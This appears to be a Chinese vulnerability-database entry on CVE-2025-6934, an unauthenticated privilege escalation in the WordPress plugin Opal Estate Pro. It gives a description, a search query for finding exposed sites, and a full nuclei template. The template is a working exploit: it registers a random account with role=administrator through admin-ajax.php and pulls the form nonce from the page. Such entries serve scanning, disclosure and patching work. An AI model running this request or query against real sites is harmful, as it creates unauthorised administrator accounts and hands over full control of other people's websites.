Opal Estate Pro Property Management Unauthenticated Privilege Escalation Vulnerability

漏洞信息

漏洞名称： Opal Estate Pro Property Management Unauthenticated Privilege Escalation Vulnerability

漏洞编号：

• CVE： CVE-2025-6934

漏洞类型： 权限提升

漏洞等级： 严重

漏洞描述： Opal Estate Pro是一款专为WordPress设计的房地产属性管理插件，广泛应用于房地产网站的管理和展示。该插件在版本1.7.5及之前存在一个严重的未授权权限提升漏洞。漏洞的根源在于on_register_user函数中缺乏对用户角色的适当限制，使得攻击者可以在无需认证的情况下注册具有管理员权限的账户。这一漏洞的技术原因在于插件未能正确验证用户注册时提交的角色参数，导致攻击者可以指定任意角色，包括管理员。此漏洞的利用允许攻击者完全控制受影响的WordPress网站，包括但不限于修改网站内容、安装恶意插件、窃取敏感数据等。由于攻击过程无需任何认证，且可以自动化执行，因此该漏洞对网站安全构成了极高的威胁。目前，建议的修复措施是升级Opal Estate Pro插件至1.7.5以上版本，或在不必要的情况下移除该插件。

产品厂商： themeforest

产品名称： Opal Estate Pro

影响版本： <= 1.7.5

搜索语法： http.component:”wordpress” && http.html:”/wp-content/plugins/opal-estate-pro/“

来源： https://github.com/projectdiscovery/nuclei-templates/blob/dc0ac9920c16fb9d498967735489a6b75b15c73f/http%2Fcves%2F2025%2FCVE-2025-6934.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2025-6934

info:
  name: The Opal Estate Pro – Property Management <= 1.7.5 - Unauthenticated Privilege Escalation
  author: pussycat0x
  severity: critical
  description: |
    The Opal Estate Pro plugin (≤ 1.7.5) is vulnerable to privilege escalation. Due to missing role restrictions in the on_register_user function, users can register with any role. This allows unauthenticated attackers to create administrator accounts.
  reference:
    - https://github.com/Nxploited/CVE-2025-6934/blob/main/README.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-6934
    cwe-id: CWE-269
  impact: |
    An attacker can exploit this vulnerability to register with administrator privileges, gaining complete control over the WordPress site.
  remediation: |
    Update the Opal Estate Pro plugin to a version newer than 1.7.5 when available, or remove the plugin if not essential.
  metadata:
    verified: true
    max-request: 2
    vendor: themeforest
    product: opal-estate-pro
    shodan-query: http.component:"wordpress" && http.html:"/wp-content/plugins/opal-estate-pro/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,opalestate

variables:
  username: "{{randstr}}"
  password: "{{to_lower(rand_text_alpha(8))}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{username}}&email={{email}}&password={{password}}&password1={{password}}&role=administrator&confirmed_register=on&opalestate-register-nonce=fada3a4581&_wp_http_referer=%2F&ajax=1&action=opalestate_register_form


    matchers:
      - type: dsl
        dsl:
          - contains(body_1, 'opalestate-register-nonce')
          - contains(body_2, 'status\":true')
          - status_code_2 == 200
        condition: and

    extractors:
      - type: regex
        internal: true
        group: 1
        name: nonce
        part: body
        regex:
          - 'name="opalestate-register-nonce" value="([a-f0-9]+)"'